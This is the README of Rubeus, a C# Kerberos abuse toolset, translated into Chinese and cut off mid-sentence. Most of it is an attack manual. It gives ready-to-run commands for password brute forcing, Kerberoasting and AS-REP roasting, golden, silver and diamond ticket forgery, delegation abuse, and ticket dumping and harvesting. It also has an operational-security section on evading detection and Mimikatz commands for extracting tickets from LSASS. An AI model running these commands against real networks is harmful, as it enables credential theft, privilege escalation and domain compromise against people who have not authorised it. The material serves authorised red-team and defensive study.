GhostPack/Rubeus

GitHub: GhostPack/Rubeus

一个用于原始 Kerberos 交互和滥用的 C# 工具集。

Stars: 4910 | Forks: 876

# Rubeus Rubeus 是一个用于原始 Kerberos 交互和滥用的 C# 工具集。它**大量**改编自 [Benjamin Delpy](https://twitter.com/gentilkiwi) 的 [Kekeo](https://github.com/gentilkiwi/kekeo/) 项目(CC BY-NC-SA 4.0 许可证)以及 [Vincent LE TOUX](https://twitter.com/mysmartlogon) 的 [MakeMeEnterpriseAdmin](https://github.com/vletoux/MakeMeEnterpriseAdmin) 项目(GPL v3.0 许可证)。所有功劳归功于 Benjamin 和 Vincent,他们解决了武器化的难题——如果没有他们之前的工作,这个项目就不会存在。 [Charlie Clark](https://twitter.com/exploitph) 和 [Ceri Coburn](https://twitter.com/_EthicalChaos_) 作为联合开发者对 Rubeus 代码库做出了*重大*贡献。[Elad Shamir](https://twitter.com/elad_shamir) 为基于资源的约束委派贡献了一些关键工作。非常感谢他们的工作! Rubeus 还使用了 [Thomas Pornin](https://github.com/pornin) 发布的一个名为 [DDer](https://github.com/pornin/DDer) 的 C# ASN.1 解析/编码库,该库以“类 MIT”许可证发布。非常感谢 Thomas 提供的整洁且稳定的代码! PKINIT 代码大量改编自 [@SteveSyfuhs](https://twitter.com/SteveSyfuhs) 的 [Bruce](https://github.com/dotnet/Kerberos.NET) 工具。Bruce 让 RFC4556 (PKINIT) 变得更容易理解。非常感谢 Steve! 用于 Kerberos PAC 的 NDR 编码和解码基于 [@tiraniddo](https://twitter.com/tiraniddo) 的 [NtApiDotNet](https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools/tree/master/NtApiDotNet) 库,感谢 James。 用于 Kerberoasting 的 [KerberosRequestorSecurityToken.GetRequest](https://msdn.microsoft.com/en-us/library/system.identitymodel.tokens.kerberosrequestorsecuritytoken.getrequest(v=vs.110).aspx) 方法由 [@machosec](https://twitter.com/machosec) 贡献到 PowerView(随后被整合到 Rubeus 中)。 [@harmj0y](https://twitter.com/harmj0y) 是此代码库的主要作者。 Rubeus 根据 BSD 3-Clause 许可证授权。 ## 目录 - [Rubeus](#rubeus) - [目录](#table-of-contents) - [背景](#background) - [命令行用法](#command-line-usage) - [行动安全须知](#opsec-notes) - [概述](#overview) - [武器化](#weaponization) - [示例:凭据提取](#example-credential-extraction) - [示例:Over-pass-the-hash](#example-over-pass-the-hash) - [票据请求与续订](#ticket-requests-and-renewals) - [asktgt](#asktgt) - [asktgs](#asktgs) - [renew](#renew) - [brute](#brute)|spray - [约束委派滥用](#constrained-delegation-abuse) - [s4u](#s4u) - [票据伪造](#ticket-forgery) - [golden](#golden) - [silver](#silver) - [diamond](#diamond) - [票据管理](#ticket-management) - [ptt](#ptt) - [purge](#purge) - [describe](#describe) - [票据提取与收集](#ticket-extraction-and-harvesting) - [triage](#triage) - [klist](#klist) - [dump](#dump) - [tgtdeleg](#tgtdeleg) - [monitor](#monitor) - [harvest](#harvest) - [Roasting](#roasting) - [kerberoast](#kerberoast) - [kerberoasting opsec](#kerberoasting-opsec) - [示例](#examples) - [asreproast](#asreproast) - [杂项](#miscellaneous) - [createnetonly](#createnetonly) - [changepw](#changepw) - [hash](#hash) - [tgssub](#tgssub) - [currentluid](#currentluid) - [logonsession](#logonsession) - [asrep2kirbi](#asrep2kirbi) - [kirbi](#kirbi) - [编译说明](#compile-instructions) - [针对其他 .NET 版本](#targeting-other-net-versions) - [旁注:将 Rubeus 构建为库](#sidenote-building-rubeus-as-a-library) - [旁注:通过 PowerShell 运行 Rubeus](#sidenote-running-rubeus-through-powershell) - [旁注的旁注:通过 PSRemoting 运行 Rubeus](#sidenote-sidenote-running-rubeus-over-psremoting) ## 背景 ### 命令行用法 ``` ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.3.3 Ticket requests and renewals: Retrieve a TGT based on a user password/hash, optionally saving to a file or applying to the current logon session or a specific LUID: Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256] Retrieve a TGT based on a user password/hash, optionally saving to a file or applying to the current logon session or a specific LUID: Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256] Retrieve a TGT based on a user password/hash, start a /netonly process, and to apply the ticket to the new process/logon session: Rubeus.exe asktgt /user:USER /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256] Retrieve a TGT using a PCKS12 certificate, start a /netonly process, and to apply the ticket to the new process/logon session: Rubeus.exe asktgt /user:USER /certificate:C:\temp\leaked.pfx /createnetonly:C:\Windows\System32\cmd.exe [/getcredentials] [/servicekey:KRBTGTKEY] [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256] Retrieve a TGT using a certificate from the users keystore (Smartcard) specifying certificate thumbprint or subject, start a /netonly process, and to apply the ticket to the new process/logon session: Rubeus.exe asktgt /user:USER /certificate:f063e6f4798af085946be6cd9d82ba3999c7ebac /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/suppenctype:DES|RC4|AES128|AES256] [/nowrap] Retrieve a TGT suitable for changing an account with an expired password using the changepw command Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/proxyurl:https://KDC_PROXY/kdcproxy] Request a TGT without sending pre-auth data: Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256] Request a service ticket using an AS-REQ: Rubeus.exe asktgt /user:USER /service:SPN [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256] Retrieve a service ticket for one or more SPNs, optionally saving or applying the ticket: Rubeus.exe asktgs [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy] Retrieve a service ticket using the Kerberos Key List Request options: Rubeus.exe asktgs /keyList /service:KRBTGT_SPN [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy] Retrieve a delegated managed service account ticket: Rubeus.exe asktgs /dmsa /opsec /service:KRBTGT_SPN /targetuser:DMSA_ACCOUNT$ [/dc:DOMAIN_CONTROLLER_Win2025] [/outfile:FILENAME] [/ptt] [/nowrap] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy] Renew a TGT, optionally applying the ticket, saving it, or auto-renewing the ticket up to its renew-till limit: Rubeus.exe renew [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap] Perform a Kerberos-based password bruteforcing attack: Rubeus.exe brute [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap] Perform a scan for account that do not require pre-authentication: Rubeus.exe preauthscan /users:C:\temp\users.txt [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/proxyurl:https://KDC_PROXY/kdcproxy] Constrained delegation abuse: Perform S4U constrained delegation abuse: Rubeus.exe s4u /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/proxyurl:https://KDC_PROXY/kdcproxy] [/createnetonly:C:\Windows\System32\cmd.exe] [/show] Rubeus.exe s4u /user:USER [/domain:DOMAIN] /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/bronzebit] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/createnetonly:C:\Windows\System32\cmd.exe] [/show] Perform S4U constrained delegation abuse across domains: Rubeus.exe s4u /user:USER [/domain:DOMAIN] /msdsspn:SERVICE/SERVER /targetdomain:DOMAIN.LOCAL /targetdc:DC.DOMAIN.LOCAL [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/self] [/nopac] [/createnetonly:C:\Windows\System32\cmd.exe] [/show] Ticket Forgery: Forge a golden ticket using LDAP to gather the relevent information: Rubeus.exe golden /ldap [/printcmd] [outfile:FILENAME] [/ptt] Forge a golden ticket using LDAP to gather the relevent information but explicitly overriding some values: Rubeus.exe golden /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/extendedupndns] [/printcmd] [outfile:FILENAME] [/ptt] Forge a golden ticket, setting values explicitly: Rubeus.exe golden [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/extendedupndns] [/printcmd] [outfile:FILENAME] [/ptt] Forge a silver ticket using LDAP to gather the relevent information: Rubeus.exe silver /ldap [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt] Forge a silver ticket using LDAP to gather the relevent information, using the KRBTGT key to calculate the KDCChecksum and TicketChecksum: Rubeus.exe silver /ldap [/krbenctype:DES|RC4|AES128|AES256] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt] Forge a silver ticket using LDAP to gather the relevent information but explicitly overriding some values: Rubeus.exe silver /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt] Forge a silver ticket using LDAP to gather the relevent information and including an S4U Delegation Info PAC section: Rubeus.exe silver /ldap [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/printcmd] [outfile:FILENAME] [/ptt] Forge a silver ticket using LDAP to gather the relevent information and setting a different cname and crealm: Rubeus.exe silver /ldap [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/printcmd] [outfile:FILENAME] [/ptt] Forge a silver ticket, setting values explicitly: Rubeus.exe silver [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt] Forge a diamond TGT by requesting a TGT based on a user password/hash: Rubeus.exe diamond /user:USER [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS] Forge a diamond TGT by requesting a TGT using a PCKS12 certificate: Rubeus.exe diamond /user:USER /certificate:C:\temp\leaked.pfx [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS] Forge a diamond TGT by requesting a TGT using tgtdeleg: Rubeus.exe diamond /tgtdeleg [/createnetonly:C:\Windows\System32\cmd.exe] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS] Ticket management: Submit a TGT, optionally targeting a specific LUID (if elevated): Rubeus.exe ptt [/luid:LOGINID] Purge tickets from the current logon session, optionally targeting a specific LUID (if elevated): Rubeus.exe purge [/luid:LOGINID] Parse and describe a ticket (service ticket or TGT): Rubeus.exe describe [/servicekey:HASH] [/krbkey:HASH] [/asrepkey:HASH] [/serviceuser:USERNAME] [/servicedomain:DOMAIN] [/desplaintext:FIRSTBLOCKTEXT] Ticket extraction and harvesting: Triage all current tickets (if elevated, list for all users), optionally targeting a specific LUID, username, or service: Rubeus.exe triage [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM] List all current tickets in detail (if elevated, list for all users), optionally targeting a specific LUID: Rubeus.exe klist [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM] Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID: Rubeus.exe dump [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM] [/nowrap] Retrieve a usable TGT .kirbi for the current user (w/ session key) without elevation by abusing the Kerberos GSS-API, faking delegation: Rubeus.exe tgtdeleg [/target:SPN] Monitor every /interval SECONDS (default 60) for new TGTs: Rubeus.exe monitor [/interval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS] Monitor every /monitorinterval SECONDS (default 60) for new TGTs, auto-renew TGTs, and display the working cache every /displayinterval SECONDS (default 1200): Rubeus.exe harvest [/monitorinterval:SECONDS] [/displayinterval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS] Roasting: Perform Kerberoasting: Rubeus.exe kerberoast [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap] Perform Kerberoasting, outputting hashes to a file: Rubeus.exe kerberoast /outfile:hashes.txt [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] Perform Kerberoasting, outputting hashes in the file output format, but to the console: Rubeus.exe kerberoast /simple [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap] Perform Kerberoasting with alternate credentials: Rubeus.exe kerberoast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/spn:"blah/blah"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap] Perform Kerberoasting with an existing TGT: Rubeus.exe kerberoast [/nowrap] Perform Kerberoasting with an existing TGT using an enterprise principal: Rubeus.exe kerberoast /enterprise [/nowrap] Perform Kerberoasting with an existing TGT and automatically retry with the enterprise principal if any fail: Rubeus.exe kerberoast /autoenterprise [/ldaps] [/nowrap] Perform Kerberoasting using the tgtdeleg ticket to request service tickets - requests RC4 for AES accounts: Rubeus.exe kerberoast /usetgtdeleg [/ldaps] [/nowrap] Perform "opsec" Kerberoasting, using tgtdeleg, and filtering out AES-enabled accounts: Rubeus.exe kerberoast /rc4opsec [/ldaps] [/nowrap] List statistics about found Kerberoastable accounts without actually sending ticket requests: Rubeus.exe kerberoast /stats [/ldaps] [/nowrap] Perform Kerberoasting, requesting tickets only for accounts with an admin count of 1 (custom LDAP filter): Rubeus.exe kerberoast /ldapfilter:'admincount=1' [/ldaps] [/nowrap] Perform Kerberoasting, requesting tickets only for accounts whose password was last set between 01-31-2005 and 03-29-2010, returning up to 5 service tickets: Rubeus.exe kerberoast /pwdsetafter:01-31-2005 /pwdsetbefore:03-29-2010 /resultlimit:5 [/ldaps] [/nowrap] Perform Kerberoasting, with a delay of 5000 milliseconds and a jitter of 30%: Rubeus.exe kerberoast /delay:5000 /jitter:30 [/ldaps] [/nowrap] Perform AES Kerberoasting: Rubeus.exe kerberoast /aes [/ldaps] [/nowrap] Perform Kerberoasting using an account without pre-auth by sending AS-REQ's: Rubeus.exe kerberoast /nopreauth:USER /domain:DOMAIN [/dc:DOMAIN_CONTROLLER] [/nowrap] Perform AS-REP "roasting" for any users without preauth: Rubeus.exe asreproast [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/des] [/nowrap] Perform AS-REP "roasting" for any users without preauth, outputting Hashcat format to a file: Rubeus.exe asreproast /outfile:hashes.txt /format:hashcat [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/des] Perform AS-REP "roasting" for any users without preauth using alternate credentials: Rubeus.exe asreproast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU,..."] [/ldaps] [/des] [/nowrap] Miscellaneous: Create a hidden program (unless /show is passed) with random /netonly credentials, displaying the PID and LUID: Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" [/show] [/ticket:BASE64 | /ticket:FILE.KIRBI] Reset a user's password from a supplied TGT (AoratoPw): Rubeus.exe changepw /new:PASSWORD [/dc:DOMAIN_CONTROLLER] [/targetuser:DOMAIN\USERNAME] Calculate rc4_hmac, aes128_cts_hmac_sha1, aes256_cts_hmac_sha1, and des_cbc_md5 hashes: Rubeus.exe hash /password:X [/user:USER] [/domain:DOMAIN] Substitute an sname or SPN into an existing service ticket: Rubeus.exe tgssub /altservice:ldap [/srealm:DOMAIN] [/ptt] [/luid] [/nowrap] Rubeus.exe tgssub /altservice:cifs/computer.domain.com [/srealm:DOMAIN] [/ptt] [/luid] [/nowrap] Display the current user's LUID: Rubeus.exe currentluid Display information about the (current) or (target) logon session, default all readable: Rubeus.exe logonsession [/current] [/luid:X] The "/consoleoutfile:C:\FILE.txt" argument redirects all console output to the file specified. The "/nowrap" flag prevents any base64 ticket blobs from being column wrapped for any function. The "/debug" flag outputs ASN.1 debugging information. Convert an AS-REP and a key to a Kirbi: Rubeus.exe asrep2kirbi /asrep: [/enctype:DES|RC4|AES128|AES256] [/ptt] [/luid:X] [/nowrap] Insert new DES session key into a Kirbi: Rubeus.exe kirbi /kirbi: /sessionkey:SESSIONKEY /sessionetype:DES|RC4|AES128|AES256 [/ptt] [/luid:X] [outfile:FILENAME] [/nowrap] NOTE: Base64 ticket blobs can be decoded with : [IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("aa...")) ``` ### 行动安全须知 本节涵盖了在环境中使用 Rubeus 时的一些行动安全注意事项,并提供了一些技术示例,将其与 Mimikatz 的某些方法进行了比较/对比。这部分内容将来会进行扩展。 #### 概述 你在系统上执行的任何操作都是可检测的风险,尤其是以“奇怪”/非预期的方式滥用功能时。Rubeus(像任何攻击者工具集一样)可以通过多种方法被检测到,无论是从主机、网络还是域的角度。我有一位同事喜欢说_“一切都是在有人寻找它之前都是隐蔽的”_——工具和技术之所以通常能逃避检测,是因为 a) 人们对该工具/技术不够了解,因此根本没有去寻找,b) 人们无法以适当的规模收集和处理所需的数据,或者 c) 该工具/技术与现有行为混合得足够好,能够混入环境中的误报中。关于这些步骤以及一般的检测规避,[Matt Graeber](https://twitter.com/mattifestation) 和 [Lee Christensen](https://twitter.com/tifkin_) 的 Black Hat USA 2018 [“Subverting Sysmon”](https://i.blackhat.com/us-18/Wed-August-8/us-18-Graeber-Subverting-Sysmon-Application-Of-A-Formalized-Security-Product-Evasion-Methodology.pdf) 演讲及相关的[白皮书](https://specterops.io/assets/resources/Subverting_Sysmon.pdf)中有更多信息。 从主机的角度来看,Rubeus 可以在代码的初始[武器化](#weaponization)阶段被捕获,也可以通过异常进程(非 lsass.exe)发出原始 Kerberos 88 端口流量、使用敏感 API(如 LsaCallAuthenticationPackage())或主机上存在异常票据(例如,在现代环境中票据中使用了 rc4\_hmac)来检测。 从网络或域控制器日志的角度来看,由于 Rubeus 实现了正常 Kerberos 协议的许多部分,主要的检测方法涉及在 Kerberos 交换中使用 rc4\_hmac。现代 Windows 域(功能级别 2008 及更高)在正常的 Kerberos 交换中默认使用 AES 加密(少数例外,如跨域信任票据)。在 Kerberos 交换中使用 rc4\_hmac (NTLM) 哈希而不是 aes256\_cts\_hmac\_sha1(或 aes128)密钥,会导致在主机级别、网络级别(如果解析了 Kerberos 流量)和域控制器事件日志级别产生一些可检测的信号,有时被称为“加密降级”。 #### 武器化 攻击工具被检测到的一种常见方式是通过代码的武器化载体。如果 Rubeus [通过 PowerShell](#sidenote-running-rubeus-through-powershell) 运行(包括 Empire),则所有标准的 PowerShell V5 保护措施都适用(深度脚本块日志记录、AMSI 等)。如果 Rubeus 作为二进制文件在磁盘上执行,则标准的 AV 签名检测会发挥作用(这也是为什么我们[不发布](#compile-instructions) Rubeus 编译版本的部分原因,因为脆弱的签名是愚蠢的 ; )。如果 Rubeus 用作[库](#sidenote-building-rubeus-as-a-library),那么它容易受到主工具使用的任何运行方法的影响。如果 Rubeus 通过非托管程序集执行(如 Cobalt Strike 的 `execute_assembly`)运行,则会执行跨进程代码注入,并且 CLR 被加载到潜在的非 .NET 进程中,尽管此信号存在于使用此方法执行的任何 .NET 代码中。 此外,AMSI(反恶意软件扫描接口)已[添加到 .NET 4.8](https://blogs.msdn.microsoft.com/dotnet/2018/11/28/announcing-net-framework-4-8-early-access-build-3694/) 中。[Ryan Cobb](https://twitter.com/cobbr_io) 在他的[“Entering a Covenant: .NET Command and Control”](https://posts.specterops.io/entering-a-covenant-net-command-and-control-e11038bcf462) 文章的 **Defense** 部分详细介绍了这一点在攻击层面的影响。 #### 示例:凭据提取 假设我们在一台机器上拥有提升的访问权限,并希望提取用户凭据以供重用。 Mimikatz 是凭据提取的瑞士军刀,具有多种选项。`sekurlsa::logonpasswords` 命令将打开一个[到 LSASS 的读取句柄](https://github.com/gentilkiwi/mimikatz/blob/a0f243b33590751a77b6d6f275313a4fe8d42c82/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c#L168),枚举系统上存在的登录会话,遍历每个登录会话的默认身份验证包,并提取任何可逆的密码/凭据材料。**旁注**:`sekurlsa::ekeys` 命令将枚举 Kerberos 包存在的所有密钥类型。 Rubeus 没有任何代码接触 LSASS(也不打算有),因此其功能仅限于通过使用 LsaCallAuthenticationPackage() API 提取 Kerberos 票据。从非提升的角度来看,TGT 的会话密钥(默认情况下)不会返回,因此只有提取的服务票据可用(**tgtdeleg** 命令使用 Kekeo 技巧为当前用户获取可用的 TGT)。如果在高完整性上下文中,将运行一个利用令牌复制的 [GetSystem](https://github.com/GhostPack/Rubeus/blob/4c9145752395d48a73faf326c4ae57d2c565be7f/Rubeus/lib/Helpers.cs#L55-L107) 等效项以提升到 SYSTEM,并使用 LsaRegisterLogonProcess() API 调用注册一个伪造的登录应用程序。这允许对当前在 LSA 注册的所有票据进行特权枚举和提取,输出 base64 编码的 .kirbi 以供以后重用。 Mimikatz 可以通过以下一系列命令执行相同的 base64 .kirbi 提取: ``` mimikatz # privilege::debug mimikatz # token::elevate mimikatz # standard::base64 /output:true mimikatz # kerberos::list /export ``` Mimikatz 也可以直接从 LSASS 的内存中提取票据: ``` mimikatz # privilege::debug mimikatz # standard::base64 /output:true mimikatz # sekurlsa::tickets /export ``` 正如“一切都是在有人寻找它之前都是隐蔽的”,LSASS 操作还是通过 LsaCallAuthenticationPackage() API 调用提取票据哪个更“隐蔽”是有争议的。由于 Mimikatz 的流行,打开 LSASS 句柄并读/写其内存已成为 EDR 检测和/或阻止的一个重要目标。然而,LsaCallAuthenticationPackage() 仅由相当有限的进程集使用,并且使用 LsaRegisterLogonProcess() 创建伪造的登录应用程序也是相当异常的行为。然而,与 LSASS 保护相比,完整的 API 级别内省和基线建立似乎是一个更困难的技术问题。 #### 示例:Over-pass-the-hash 假设我们恢复了用户的 rc4\_hmac 哈希 (NTLM),并希望重用此凭据来入侵用户帐户拥有特权访问权限的另一台机器。 **旁注:** pass-the-hash != over-pass-the-hash。传统的 pass-the-hash 技术涉及通过 NTLMv1/NTLMv2 协议重用哈希,这根本不涉及 Kerberos。Over-pass-the-hash 方法是由 [Benjamin Delpy](https://twitter.com/gentilkiwi) 和 [Skip Duckwall](https://twitter.com/passingthehash) 开发的(有关更多信息,请参阅他们的 